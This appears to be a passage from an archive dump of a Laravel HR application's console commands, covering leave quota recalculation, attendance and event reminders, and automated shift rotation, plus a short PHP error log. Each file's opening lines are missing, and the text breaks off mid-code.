$leaveType->id) ->where('status', 'approved') ->whereBetween('leave_date', [$leavePeriodStart, $leavePeriodEnd]) ->count(); // info('year_start-'.$user->id); // info([$approvedLeaves,$leavePeriodStart, $leavePeriodEnd]); } }else{ $approvedLeaves = $user->leaves() ->whereYear('leave_date', $startYear) ->whereMonth('leave_date', $month) ->where('leave_type_id', $leaveType->id) ->where('status', 'approved') ->count(); // info('monthly-'.$user->id); // info([$approvedLeaves,$startYear, $month]); } $leaveQuota = EmployeeLeaveQuota::where('user_id', $user->id)->where('leave_type_id', $leaveType->id)->first(); if($leaveQuota){ // $totalRemainingLeaves = ($leaveQuota->leave_type_impact == 1) // ? $leaveQuota->no_of_leaves - $approvedLeaves // : $leaveType->no_of_leaves - $approvedLeaves; // $totalRemainingLeaves = $leaveType->leaveQuota - $approvedLeaves; // if($totalRemainingLeaves > 0){ $carryForwardStatus = json_decode($leaveQuota->carry_forward_status, true) ?? []; $carryForwardStatus[$month->format('F Y')] = true; if($leaveType->deleted_at != null){ $leaveQuota->carry_forward_status = json_encode($carryForwardStatus); $leaveQuota->save(); }else{ $totalNOL = $leaveQuota->leaves_remaining + $leaveType->no_of_leaves; // $leaveQuota->no_of_leaves = $leaveQuota->no_of_leaves + $leaveType->no_of_leaves; // $leaveQuota->leaves_remaining = $leaveQuota->no_of_leaves - $leaveQuota->leaves_used; $leaveQuota->no_of_leaves = $totalNOL; $leaveQuota->leaves_used = $approvedLeaves; $leaveQuota->leaves_remaining = $totalNOL - $approvedLeaves; $leaveQuota->carry_forward_status = json_encode($carryForwardStatus); $leaveQuota->save(); } $this->info('Carry forward leaves updated successfully.'); // } } } } } } Console/Commands/SendMonthlyAttendanceReport.php000064400000003351150325104510016045 0ustar00select('companies.id as id', 'logo', 'company_name', 'monthly_report_roles') ->join('attendance_settings', 'attendance_settings.company_id', '=', 'companies.id') ->where('monthly_report', 1)->chunk(50, function ($companies) { foreach ($companies as $company) { $roles = Role::with('users') ->whereIn('id', json_decode($company->monthly_report_roles)) ->get(); $uniqueUsers = collect(); // Collect unique users based on email or ID foreach ($roles as $role) { foreach ($role->users as $user) { $uniqueUsers[$user->id] = $user; // Use ID to prevent duplicates } } // Now send emails only once per user foreach ($uniqueUsers as $user) { $this->info('Email sent: ' . $user->email); event(new MonthlyAttendanceEvent($user, $company)); } } }); return Command::SUCCESS; } } Console/Commands/SendAutoFollowUpReminder.php000064400000004054150325104510015317 0ustar00chunk(50, function ($companies) { foreach ($companies as $company) { $this->sendFollowUpReminder($company); } }); return Command::SUCCESS; } public function sendFollowUpReminder($company) { $followups = DealFollowUp::with('lead', 'lead.leadAgent', 'lead.leadAgent.user') ->where('next_follow_up_date', '>=', now($company->timezone)) ->whereHas('lead', function ($query) use ($company) { $query->where('company_id', $company->id); }) ->where('send_reminder', 'yes') ->get(); foreach ($followups as $followup) { $remindTime = $followup->remind_time; $reminderDate = null; if ($followup->remind_type == 'day') { $reminderDate = $followup->next_follow_up_date->subDays($remindTime); } elseif ($followup->remind_type == 'hour') { $reminderDate = $followup->next_follow_up_date->subHours($remindTime); } else { $reminderDate = $followup->next_follow_up_date->subMinutes($remindTime); } if ($reminderDate->format('Y-m-d H:i') == now($company->timezone)->format('Y-m-d H:i')) { event(new AutoFollowUpReminderEvent($followup, false)); } } } } Console/Commands/error_log000064400000001626150325104510011625 0ustar00[04-Jul-2025 12:48:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [04-Jul-2025 13:30:59 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so (libMagickWand-6.Q16.so.6: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php72/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 Console/Commands/CreateEmployeeLeaveQuotaHistory.php000064400000003471150325104510016675 0ustar00onlyEmployee()->with(['leaveTypes', 'leaveTypes.leaveType'])->get(); $employeeLeaveQuotaHistories = []; foreach ($employees as $employee) { foreach ($employee->leaveTypes as $leaveQuota) { if ($leaveQuota->leaveType && ($leaveQuota->leaveType->leaveTypeCondition($leaveQuota->leaveType, $employee))) { $employeeLeaveQuotaHistories[] = [ 'user_id' => $employee->id, 'leave_type_id' => $leaveQuota->leave_type_id, 'no_of_leaves' => $leaveQuota->no_of_leaves, 'leaves_used' => $leaveQuota->leaves_used, 'leaves_remaining' => $leaveQuota->leaves_remaining, 'overutilised_leaves' => $leaveQuota->overutilised_leaves, 'carry_forward_leaves' => $leaveQuota->carry_forward_leaves, 'unused_leaves' => $leaveQuota->unused_leaves, 'for_month' => now()->subMonth()->format('Y-m-01'), ]; } } } EmployeeLeaveQuotaHistory::insert($employeeLeaveQuotaHistories); } } Console/Commands/RecalculateLeavesQuotas.php000064400000044773150325104510015214 0ustar00argument('company'); $userID = $this->argument('user'); $leaveTypeID = $this->argument('leaveType'); // dd($companyID, $userID, $leaveTypeID); $companies = Company::active() ->select('id', 'company_name', 'timezone', 'leaves_start_from', 'year_starts_from') ->with(['leaveTypes' => function ($query) use ($leaveTypeID) { if ($leaveTypeID != '') { return $query->where('id', $leaveTypeID); } return $query; }]); if ($companyID != '') { $companies = $companies->where('id', $companyID); } // $this->info('Total Companies :: '. $companies->count()); $companyCount = 0; $companies->chunk(10, function ($companies) use ($userID, &$companyCount) { foreach ($companies as $company) { $leaveTypes = $company->leaveTypes; $settings = $company; $users = User::withoutGlobalScopes()->whereHas('employeeDetail') ->select('id', 'company_id', 'name') ->with(['leaves', 'leaveTypes', 'leaveTypes.leaveType', 'employeeDetail']) ->where('company_id', $company->id); if ($userID != '') { $users = $users->where('id', $userID); } $users = $users->get(); foreach ($users as $user) { if ($settings && $settings->leaves_start_from == 'joining_date') { $currentYearJoiningDate = Carbon::parse($user->employeeDetail->joining_date->format((now($settings->timezone)->year) . '-m-d')); $startingDate = $currentYearJoiningDate->startOfMonth(); if ($startingDate->lt($user->employeeDetail->joining_date)) { $startingDate = $user->employeeDetail->joining_date->startOfMonth(); } } else { // yearly setting year_start $yearFrom = $settings && $settings->year_starts_from ? $settings->year_starts_from : 1; $startingDate = Carbon::create(now()->year, $yearFrom)->startOfMonth(); } $carryForwardAppliedYear = $startingDate->copy()->subYear()->year; // We need this to check if the carry forward leaves are applied for the current year foreach ($leaveTypes as $value) { $leaveQuota = EmployeeLeaveQuota::where('user_id', $user->id)->where('leave_type_id', $value->id)->first(); if ($leaveQuota) { $carryForwardApplied = $leaveQuota->carry_forward_applied; } $joiningDate = $user->employeeDetail->joining_date->copy(); if (is_null($user->employeeDetail->joining_date)) { continue; } if (($leaveQuota && $leaveQuota->leave_type_impact == 1)) { $noOfLeavesAlloted = $leaveQuota->no_of_leaves; } else { $noOfLeavesAlloted = $this->calculateNoOfLeavesAlloted($settings, $joiningDate, $user, $value); } if ($leaveQuota && $leaveQuota->carry_forward_leaves > 0 && $leaveQuota->carry_forward_applied != now()->subYear()->year && $leaveQuota->carry_forward_applied != 1) { // 1 was used in previous code logic to mark carry forward applied $carryForwardApplied = $carryForwardAppliedYear; } if ($leaveQuota && $leaveQuota->carry_forward_leaves > 0) { $noOfLeavesAlloted = $noOfLeavesAlloted + $leaveQuota->carry_forward_leaves; } $noOfLeavesTaken = $this->calculateNoOfLeavesTaken($settings, $joiningDate, $user, $value); $noOfOverutilisedLeaves = $leaveQuota->overutilised_leaves ?? 0; if ($noOfLeavesAlloted - $noOfLeavesTaken > 0) { $noOfRemainingLeaves = ($noOfLeavesAlloted - $noOfLeavesTaken); $noOfOverutilisedLeaves = 0; } else { $noOfRemainingLeaves = ($noOfLeavesAlloted - $noOfLeavesTaken + $noOfOverutilisedLeaves); if ($noOfRemainingLeaves < 0) { $noOfOverutilisedLeaves = $noOfOverutilisedLeaves + abs($noOfRemainingLeaves); $noOfRemainingLeaves = 0; } // $this->info($noOfOverutilisedLeaves .' '.($noOfLeavesTaken - $noOfOverutilisedLeaves)); if (($noOfOverutilisedLeaves > 0) && (($noOfLeavesTaken - $noOfOverutilisedLeaves) < $noOfLeavesAlloted)) { $noOfRemainingLeaves = $noOfLeavesAlloted - ($noOfLeavesTaken - $noOfOverutilisedLeaves); } } $noOfLeavesUnused = $leaveQuota->unused_leaves ?? 0; if ($value->leavetype == 'monthly' && $value->unused_leave != 'carry forward') { if ($noOfLeavesTaken > 0) { // $noOfOverutilisedLeaves = abs($noOfLeavesTaken - $noOfLeavesAlloted); } $noOfCurrentMonthLeaves = $this->calculateNoOfLeavesTakenCurrentMonth($settings, $user, $value); if ($noOfCurrentMonthLeaves >= $value->no_of_leaves && $noOfLeavesTaken <= $noOfLeavesAlloted && $noOfLeavesTaken > 0) { $noOfRemainingLeaves = 0; $noOfOverutilisedLeaves = $noOfOverutilisedLeaves + ($noOfCurrentMonthLeaves - $value->no_of_leaves); } else { $noOfOverutilisedLeaves = $leaveQuota->overutilised_leaves ?? 0; if ($noOfLeavesAlloted >= $value->no_of_leaves) { $noOfRemainingLeaves = $value->no_of_leaves - $noOfCurrentMonthLeaves; } else { $noOfRemainingLeaves = $noOfLeavesAlloted - $noOfCurrentMonthLeaves; } if ($noOfRemainingLeaves < 0) { $noOfRemainingLeaves = 0; } $whole = floor($noOfRemainingLeaves); $fraction = $noOfRemainingLeaves - $whole; if ($fraction > 0 && $fraction <= 0.5) { $noOfRemainingLeaves = $whole + 0.5; } else if ($fraction > 0.5 && $fraction <= 0.99) { $noOfRemainingLeaves = $whole + 1; } } $noOfLeavesUnused = ($noOfLeavesAlloted - $noOfLeavesTaken - $noOfRemainingLeaves + $noOfOverutilisedLeaves); } // $this->info('Leaves Remaining :: '. $user->name.' ' .$value->type_name.' '. $noOfRemainingLeaves); // $this->info('Leaves Overutilised :: '. $user->name.' ' .$value->type_name.' '. $noOfOverutilisedLeaves); // $this->info('Leaves Unused :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesUnused); $employeeLeaveQuota = EmployeeLeaveQuota::where('user_id', $user->id) ->where('leave_type_id', $value->id) ->first(); if (!$employeeLeaveQuota) { EmployeeLeaveQuota::create([ 'user_id' => $user->id, 'leave_type_id' => $value->id, 'no_of_leaves' => $noOfLeavesAlloted, 'leaves_used' => $noOfLeavesTaken, 'leaves_remaining' => $noOfRemainingLeaves, 'overutilised_leaves' => $noOfOverutilisedLeaves, 'unused_leaves' => $noOfLeavesUnused, 'carry_forward_applied' => isset($carryForwardApplied) ? $carryForwardApplied : 0, ]); } else { EmployeeLeaveQuota::where('user_id', $user->id) ->where('leave_type_id', $value->id) ->update( [ 'no_of_leaves' => $noOfLeavesAlloted, 'leaves_used' => $noOfLeavesTaken, 'leaves_remaining' => $noOfRemainingLeaves, 'overutilised_leaves' => $noOfOverutilisedLeaves, 'unused_leaves' => $noOfLeavesUnused, 'carry_forward_applied' => isset($carryForwardApplied) ? $carryForwardApplied : 0, ] ); } } // $this->info('Calculating Leaves Quota :: CompanyID = '.$user->company_id. ' , User = ' . $user->name . "\n"); } $companyCount++; // $this->info('Calculating Leaves Quota :: Company# = '.$companyCount. "\n"); } }); } public function calculateNoOfLeavesAlloted($settings, $joiningDate, $user, $value) { $leaves = $value->no_of_leaves; $leaveToSubtract = 0; if ($settings && $settings->leaves_start_from == 'joining_date') { $currentYearJoiningDate = Carbon::parse($user->employeeDetail->joining_date->format((now($settings->timezone)->year) . '-m-d'));; if (now()->gt($currentYearJoiningDate)) { $differenceMonth = now()->startOfMonth()->diffInMonths($currentYearJoiningDate->copy()->startOfMonth()); } else { $differenceMonth = now()->startOfMonth()->diffInMonths($currentYearJoiningDate->copy()->subYear()->startOfMonth()); } $differenceMonth = $differenceMonth + 1; // Include current month also $countOfMonthsAllowed = $differenceMonth > 12 ? $differenceMonth - 12 : $differenceMonth; if ($user->employeeDetail->joining_date->year == now()->year && $value->leavetype == 'yearly') { // Calculate remaining days after full months $remainingDays = now()->diffInDays($currentYearJoiningDate->copy()->subMonths($differenceMonth)); $remainingDays += 2; // adding 2 for becaus same day and next day is not counting as diff if ($remainingDays >= 16) { $countOfMonthsAllowed++; $remainingDays = 0; } } } else { // yearly setting year_start $yearFrom = $settings && $settings->year_starts_from ? $settings->year_starts_from : 1; $startingDate = Carbon::create(now()->year, $yearFrom)->startOfMonth(); $differenceMonth = ($user->employeeDetail->joining_date->year == now()->year) ? now()->startOfMonth()->diffInMonths($joiningDate->copy()->startOfMonth()) : now()->startOfMonth()->diffInMonths($startingDate); $differenceMonth = $differenceMonth + 1; // Include current month also $countOfMonthsAllowed = $differenceMonth > 12 ? $differenceMonth - 12 : $differenceMonth; $remainingDays = 0; $currentYearJoiningDate = Carbon::parse($user->employeeDetail->joining_date->format((now($settings->timezone)->year) . '-m-d'));; if ($user->employeeDetail->joining_date->year == now()->year && $value->leavetype == 'yearly') { $remainingDays = now()->diffInDays($currentYearJoiningDate->copy()->subMonths($differenceMonth)); $remainingDays += 2; // adding 2 for becaus same day and next day is not counting as diff if ($remainingDays >= 16) { $countOfMonthsAllowed++; $remainingDays = 0; } } } if ($settings && $settings->leaves_start_from == 'year_start' && $joiningDate->gt(now($settings->timezone)->startOfyear()) // Check joining was less than 1 year ) { // give half leave for the month if joining date is after 15th of the month if ($value->leavetype == 'yearly') { $leaveToSubtract = ($joiningDate->diffInMonths($startingDate)); $monthlyLeaves = ($value->no_of_leaves / 12); // Assign no of leaves according to date of joining if joined the same year if ($joiningDate->diffInMonths($startingDate) < 12) { $leaveToSubtract = ($monthlyLeaves * $leaveToSubtract); } if ($joiningDate->day > 15) { $leaveToSubtract = ($monthlyLeaves / 2) + ($leaveToSubtract); } } else { if ($joiningDate->day > 15) { $leaveToSubtract = ($value->no_of_leaves / 2); } } } if ($settings && $settings->leaves_start_from == 'joining_date' && $joiningDate->day > 15 && (now()->startOfMonth()->diffInMonths($user->employeeDetail->joining_date->startOfMonth()) < 12) // Check joining was less than 1 year ) { // give half leave for the month if joining date is after 15th of the month if ($value->leavetype == 'yearly') { $monthlyLeaves = ($value->no_of_leaves / 12); $leaveToSubtract = ($monthlyLeaves / 2); } else { $leaveToSubtract = ($value->no_of_leaves / 2); } } if ($value->leavetype == 'yearly') { $leaves = $value->no_of_leaves - $leaveToSubtract; } else if ($value->leavetype == 'monthly') { $leaves = ($value->no_of_leaves * $countOfMonthsAllowed) - $leaveToSubtract; } $noOfLeavesAlloted = number_format((float)$leaves, 2, '.', ''); // Round off the fraction value for clear calculation and usage. // If fraction is between 0 to 0.5 then consider it as 0.5 // If fraction is between 0.5 to 0.99 then consider it as 1 $whole = floor($noOfLeavesAlloted); $fraction = $noOfLeavesAlloted - $whole; if ($fraction > 0 && $fraction <= 0.5) { $noOfLeavesAlloted = $whole + 0.5; } else if ($fraction > 0.5 && $fraction <= 0.99) { $noOfLeavesAlloted = $whole + 1; } // $this->info('Leaves Alloted :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesAlloted); return $noOfLeavesAlloted; } public function calculateNoOfLeavesTaken($settings, $joiningDate, $user, $value) { $currentYearJoiningDate = Carbon::parse($joiningDate->format((now($settings->timezone)->year) . '-m-d')); if ($currentYearJoiningDate->isFuture()) { $currentYearJoiningDate->subYear(); } $leaveFrom = $currentYearJoiningDate->copy()->toDateString(); $leaveTo = $currentYearJoiningDate->copy()->addYear()->toDateString(); if ($settings->leaves_start_from !== 'joining_date') { $leaveStartYear = Carbon::parse(now()->format((now($settings->timezone)->year) . '-' . $settings->year_starts_from . '-01')); if ($leaveStartYear->isFuture()) { $leaveStartYear = $leaveStartYear->subYear(); } $leaveFrom = $leaveStartYear->copy()->toDateString(); $leaveTo = $leaveStartYear->copy()->addYear()->toDateString(); } $fullDay = Leave::where('user_id', $user->id) ->whereBetween('leave_date', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', '<>', 'half day') ->count(); $halfDay = Leave::where('user_id', $user->id) ->whereBetween('leave_date', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', 'half day') ->count(); $noOfLeavesTaken = ($fullDay + ($halfDay / 2)); // $this->info('Leaves Taken :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesTaken); return $noOfLeavesTaken; } public function calculateNoOfLeavesTakenCurrentMonth($settings, $user, $value) { $leaveFrom = now($settings->timezone)->startOfMonth()->toDateString(); $leaveTo = now($settings->timezone)->endOfMonth()->toDateString(); $fullDay = Leave::where('user_id', $user->id) ->whereBetween('created_at', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', '<>', 'half day') ->count(); $halfDay = Leave::where('user_id', $user->id) ->whereBetween('created_at', [$leaveFrom, $leaveTo]) ->where('status', 'approved') ->where('leave_type_id', $value->id) ->where('duration', 'half day') ->count(); $noOfLeavesTaken = ($fullDay + ($halfDay / 2)); // $this->info('Leaves Taken Current Month :: '. $user->name.' ' .$value->type_name.' '. $noOfLeavesTaken); return $noOfLeavesTaken; } } Console/Commands/SendEventReminder.php000064400000005560150325104510014003 0ustar00where('send_reminder', 'yes'); })->active()->get(); if ($companiesWithEvents->isEmpty()) { $output->writeln('No Company with event found'); return Command::SUCCESS; } // Now you have a collection of companies with associated events that have send_reminder set to 'yes' foreach ($companiesWithEvents as $company) { $events = Event::with('attendee') ->select('id', 'event_name', 'label_color', 'where', 'description', 'start_date_time', 'end_date_time', 'repeat', 'send_reminder', 'remind_time', 'remind_type', 'company_id') ->where('start_date_time', '>=', now($company->timezone)) ->where('send_reminder', 'yes') ->where('company_id', $company->id) ->get(); foreach ($events as $event) { $reminderDateTime = $this->calculateReminderDateTime($event, $company); if ($reminderDateTime->equalTo(now($company->timezone)->startOfMinute())) { event(new EventReminderEvent($event)); } } } return Command::SUCCESS; } public function calculateReminderDateTime(Event $event, $company) { $time = $event->remind_time; $type = $event->remind_type; $reminderDateTime = ''; switch ($type) { case 'day': $reminderDateTime = Carbon::createFromFormat('Y-m-d H:i:s', $event->start_date_time, $company->timezone)->subDays($time); break; case 'hour': $reminderDateTime = Carbon::createFromFormat('Y-m-d H:i:s', $event->start_date_time, $company->timezone)->subHours($time); break; case 'minute': $reminderDateTime = Carbon::createFromFormat('Y-m-d H:i:s', $event->start_date_time, $company->timezone)->subMinutes($time); break; } return $reminderDateTime; } } Console/Commands/SendAttendanceReminder.php000064400000007031150325104510014763 0ustar00select(['companies.id as id', 'timezone', 'attendance_settings.*']) ->join('attendance_settings', 'attendance_settings.company_id', '=', 'companies.id') ->where('alert_after_status', 1) ->whereNotNull('alert_after') ->where('alert_after', '<>', 0)->chunk(50, function ($companies) { foreach ($companies as $company) { $today = now($company->timezone)->format('Y-m-d'); $holiday = Holiday::where('company_id', $company->id)->where('date', $today)->first(); // Today is holiday if ($holiday) { continue; } $employeeShiftTime = EmployeeShiftSchedule::with('shift', 'user') ->where(function ($query) use ($company) { $query->where('shift_start_time', '<=', now($company->timezone)); $query->where('shift_end_time', '>=', now($company->timezone)); }) ->whereHas('user', function ($query) use ($today) { $query->whereHas('employeeDetail', function ($query) use ($today) { $query->where('attendance_reminder', '!=', $today) ->orWhereNull('attendance_reminder'); }); })->get(); foreach ($employeeShiftTime as $employeeShiftTimes) { if (is_null($employeeShiftTimes->shift->office_start_time)) { continue; } $startDateTime = Carbon::createFromFormat('Y-m-d H:i:s', $today . ' ' . $employeeShiftTimes->shift->office_start_time, $company->timezone); $currentDateTime = now($company->timezone)->addMinutes($company->alert_after); if ($currentDateTime->greaterThan($startDateTime)) { $clockInCount = Attendance::getTotalUserClockInWithTime(Carbon::createFromFormat('Y-m-d H:i:s', $today . ' ' . $employeeShiftTimes->shift->office_start_time), Carbon::createFromFormat('Y-m-d H:i:s', $today . ' ' . $employeeShiftTimes->shift->office_end_time), $employeeShiftTimes->user_id); if (!$clockInCount) { event(new AttendanceReminderEvent($employeeShiftTimes->user)); $employeeShiftTimes->user->employeeDetail->attendance_reminder = $today; $employeeShiftTimes->user->employeeDetail->saveQuietly(); } } } } }); return Command::SUCCESS; } } Console/Commands/SendAutoTaskReminder.php000064400000004221150325104510014446 0ustar00select(['id', 'before_days', 'after_days', 'timezone'])->chunk(50, function ($companies) { foreach ($companies as $company) { $now = now($company->timezone); $completedTaskColumn = TaskboardColumn::where('company_id', $company->id) ->where('slug', 'completed') ->first(); if ($company->before_days > 0) { $beforeDeadline = $now->clone()->subDays($company->before_days)->format('Y-m-d'); $tasks = Task::where('due_date', $beforeDeadline) ->where('company_id', $company->id) ->where('board_column_id', '<>', $completedTaskColumn->id) ->get(); foreach ($tasks as $task) { event(new AutoTaskReminderEvent($task)); } } if ($company->after_days > 0) { $afterDeadline = $now->clone()->addDays($company->after_days)->format('Y-m-d'); $tasks = Task::where('due_date', $afterDeadline) ->where('company_id', $company->id) ->where('board_column_id', '<>', $completedTaskColumn->id) ->get(); foreach ($tasks as $task) { event(new AutoTaskReminderEvent($task)); } } } }); return Command::SUCCESS; } } Console/Commands/AssignShiftRotation.php000064400000051552150325104510014366 0ustar00 Carbon::MONDAY, 2 => Carbon::TUESDAY, 3 => Carbon::WEDNESDAY, 4 => Carbon::THURSDAY, 5 => Carbon::FRIDAY, 6 => Carbon::SATURDAY, 0 => Carbon::SUNDAY, ]; $dayNameWeekMap = [ 'sunday' => Carbon::SUNDAY, 'monday' => Carbon::MONDAY, 'tuesday' => Carbon::TUESDAY, 'wednesday' => Carbon::WEDNESDAY, 'thursday' => Carbon::THURSDAY, 'friday' => Carbon::FRIDAY, 'saturday' => Carbon::SATURDAY, ]; Company::active()->select('id')->chunk(50, function ($companies) use ($currentDate, $dayOfWeekMap, $dayNameWeekMap) { foreach ($companies as $company) { $dayOff = EmployeeShift::where('company_id', $company->id)->where('shift_name', 'Day Off')->first(); $automateShifts = AutomateShift::whereHas('rotation', function ($query) use ($company) { $query->where('company_id', $company->id); })->with(['sequences', 'rotation', 'user'])->get(); $shiftSequences = ShiftRotationSequence::whereIn('employee_shift_rotation_id', $automateShifts->pluck('employee_shift_rotation_id'))->orderBy('sequence')->get()->groupBy('employee_shift_rotation_id'); foreach ($automateShifts as $automateShift) { if ($automateShift->rotation && $automateShift->rotation->status == 'active') { $log = null; if ($automateShift->rotation && $automateShift->user) { $logs = RotationAutomateLog::where('company_id', $company->id)->where('employee_shift_rotation_id', $automateShift->rotation->id)->where('user_id', $automateShift->user->id)->get()->keyBy('employee_shift_rotation_id'); $log = $logs->get($automateShift->rotation->id); } $sequences = $shiftSequences->get($automateShift->employee_shift_rotation_id, collect()); $currentSequence = $log->sequence ?? null; if ($currentSequence && ($log && ($log->cron_run_date != $currentDate->format('Y-m-d')))) { $sequence = $sequences->where('sequence', '>', $currentSequence)->first(); $nextShiftSequence = $sequence ? $sequence : $sequences->first(); } else { $nextShiftSequence = $sequences->first(); } if ($nextShiftSequence && $sequences->isNotEmpty()) { $employeeShift = EmployeeShift::find($nextShiftSequence->employee_shift_id); $officeOpenDays = json_decode($employeeShift->office_open_days); $employeeData = $automateShift->user ? User::with('employeeDetail')->find($automateShift->user->id) : null; $dayString = str_replace('every-', '', $automateShift->rotation->schedule_on); $dayString = strtolower($dayString); $dayOfWeek = ''; if (isset($dayNameWeekMap[$dayString])) { $dayOfWeek = $dayNameWeekMap[$dayString]; } // Retrieve holidays based on employee details $holidaysForUser = $employeeData ? $this->retrieveHolidaysForUser($employeeData) : []; $rotationFrequency = $automateShift->rotation->rotation_frequency; $isWeekly = $rotationFrequency == 'weekly'; $isBiWeekly = $rotationFrequency == 'bi-weekly'; $isMonthly = $rotationFrequency == 'monthly'; $bothWeekly = $rotationFrequency == 'weekly' || $rotationFrequency == 'bi-weekly'; $isCorrectDayOfWeek = $currentDate->dayOfWeek == $dayOfWeek; $currentDates = []; $weekOffDays = []; // Weekly if ($isWeekly && $isCorrectDayOfWeek) { $reqFrom = 'weekly'; $currentDates = $this->getOfficeOpenDates($reqFrom, $dayOfWeekMap, $officeOpenDays, $holidaysForUser); $weekOffDays = $this->getWeekendDays($reqFrom, $dayOfWeekMap, $officeOpenDays); } // Bi-weekly if ($isBiWeekly && $isCorrectDayOfWeek) { $shouldGetDates = true; if (!is_null($log) && Carbon::parse($log->cron_run_date)->diffInDays() < 14) { $shouldGetDates = false; } if ($shouldGetDates) { $reqFrom = 'bi-weekly'; $currentDates = $this->getOfficeOpenDates($reqFrom, $dayOfWeekMap, $officeOpenDays, $holidaysForUser); $weekOffDays = $this->getWeekendDays($reqFrom, $dayOfWeekMap, $officeOpenDays); } } // Monthly $rotationDate = $this->getFullDateForCurrentMonth($automateShift->rotation->rotation_date); $isCorrectDayOfMonth = $rotationDate == $currentDate->format('Y-m-d'); $carbonDate = Carbon::parse($rotationDate); $lastDateOfMonth = $carbonDate->endOfMonth(); if($carbonDate->month === 2 && $lastDateOfMonth->format('d') < $automateShift->rotation->rotation_date && $currentDate->format('Y-m-d') == $rotationDate){ $isCorrectDayOfMonth = true; } else if($carbonDate->month !== 2 ) { $isCorrectDayOfMonth = $rotationDate == $currentDate->format('Y-m-d'); } if ($isMonthly && $isCorrectDayOfMonth) { $reqFrom = 'monthly'; $currentDates = $this->getOfficeOpenDates($reqFrom, $dayOfWeekMap, $officeOpenDays, $holidaysForUser, $rotationDate); $weekOffDays = $this->getWeekendDays($reqFrom, $dayOfWeekMap, $officeOpenDays, $rotationDate); } if ((!empty($currentDates) && (($bothWeekly && $isCorrectDayOfWeek) || ($isMonthly && $isCorrectDayOfMonth))) && ($automateShift->user && $employeeData)) { foreach ($currentDates as $date) { $date = Carbon::parse($date); if ($employeeData && $date->greaterThanOrEqualTo($employeeData->employeeDetail->joining_date) && (is_null($officeOpenDays) || (is_array($officeOpenDays) && in_array($date->dayOfWeek, $officeOpenDays)))) { $shift = EmployeeShiftSchedule::where('date', $date->format('Y-m-d'))->where('user_id', $automateShift->user->id)->first(); if (!$shift) { $shift = new EmployeeShiftSchedule(); $shift->user_id = $automateShift->user->id; $shift->date = $date->format('Y-m-d'); $shift->employee_shift_id = $nextShiftSequence->employee_shift_id; $shift->added_by = null; $shift->last_updated_by = null; $shift->shift_start_time = $date->format('Y-m-d') .' '.$employeeShift->office_start_time; $shift->shift_end_time = $date->format('Y-m-d') .' '.$employeeShift->office_end_time; $shift->remarks = 'Automate shift rotation assigned'; $shift->save(); } if($shift && $automateShift->rotation->override_shift == 'yes') { $shift->user_id = $automateShift->user->id; $shift->date = $date->format('Y-m-d'); $shift->employee_shift_id = $nextShiftSequence->employee_shift_id; $shift->added_by = null; $shift->last_updated_by = null; $shift->shift_start_time = $date->format('Y-m-d') .' '.$employeeShift->office_start_time; $shift->shift_end_time = $date->format('Y-m-d') .' '.$employeeShift->office_end_time; $shift->remarks = 'Automate shift rotation assigned'; $shift->save(); } } } foreach ($weekOffDays as $weekOffDay) { $weekOffDay = Carbon::parse($weekOffDay); $weekEndShift = EmployeeShiftSchedule::where('user_id', $automateShift->user->id)->where('date', $weekOffDay->format('Y-m-d'))->first(); if (!$weekEndShift) { EmployeeShiftSchedule::create([ 'user_id' => $automateShift->user->id, 'date' => $weekOffDay->format('Y-m-d'), 'employee_shift_id' => $dayOff->id, 'added_by' => null, 'last_updated_by' => null, 'shift_start_time' => $weekOffDay->format('Y-m-d') .' '.$dayOff->office_start_time, 'shift_end_time' => $weekOffDay->format('Y-m-d') .' '.$dayOff->office_end_time, 'remarks' => 'Automate shift rotation assigned', ]); } elseif ($weekEndShift && $automateShift->rotation->override_shift == 'yes') { $weekEndShift->user_id = $automateShift->user->id; $weekEndShift->date = $weekOffDay->format('Y-m-d'); $weekEndShift->employee_shift_id = $dayOff->id; $weekEndShift->added_by = null; $weekEndShift->last_updated_by = null; $weekEndShift->shift_start_time = $weekOffDay->format('Y-m-d') .' '.$dayOff->office_start_time; $weekEndShift->shift_end_time = $weekOffDay->format('Y-m-d') .' '.$dayOff->office_end_time; $weekEndShift->remarks = 'Automate shift rotation assigned'; $weekEndShift->save(); } } if (!$log) { $log = new RotationAutomateLog(); $log->company_id = $company->id; $log->user_id = $automateShift->user->id; $log->employee_shift_rotation_id = $nextShiftSequence->employee_shift_rotation_id; $log->employee_shift_id = $nextShiftSequence->employee_shift_id; $log->sequence = $nextShiftSequence->sequence; $log->cron_run_date = $currentDate->format('Y-m-d'); } else { $log->employee_shift_id = $nextShiftSequence->employee_shift_id; $log->sequence = $nextShiftSequence->sequence; $log->cron_run_date = $currentDate->format('Y-m-d'); } $log->save(); if($automateShift->rotation->send_mail == 'yes') { event(new ShiftRotationEvent($employeeData, $currentDates, $rotationFrequency)); } } } } } } }); return Command::SUCCESS; } private function getFullDateForCurrentMonth($dayOfMonth) { $currentDate = Carbon::now(); $daysInMonth = $currentDate->daysInMonth; $dayOfMonth = min($dayOfMonth, $daysInMonth); $fullDate = Carbon::create($currentDate->year, $currentDate->month, $dayOfMonth); return $fullDate->format('Y-m-d'); } private function getUserHolidays($holidaysForUser) { if (!empty($holidaysForUser)) { return array_map(function ($holiday) { return Carbon::parse($holiday)->format('Y-m-d'); }, $holidaysForUser); } else { return $holidaysForUser; } } private function getWeekendDays($reqFrom, $dayOfWeekMap, $officeOpenDays, $rotationDate = null) { $today = Carbon::now(); $weekendDates = []; $officeDays = []; $startDate = $today->copy(); $endDate = match 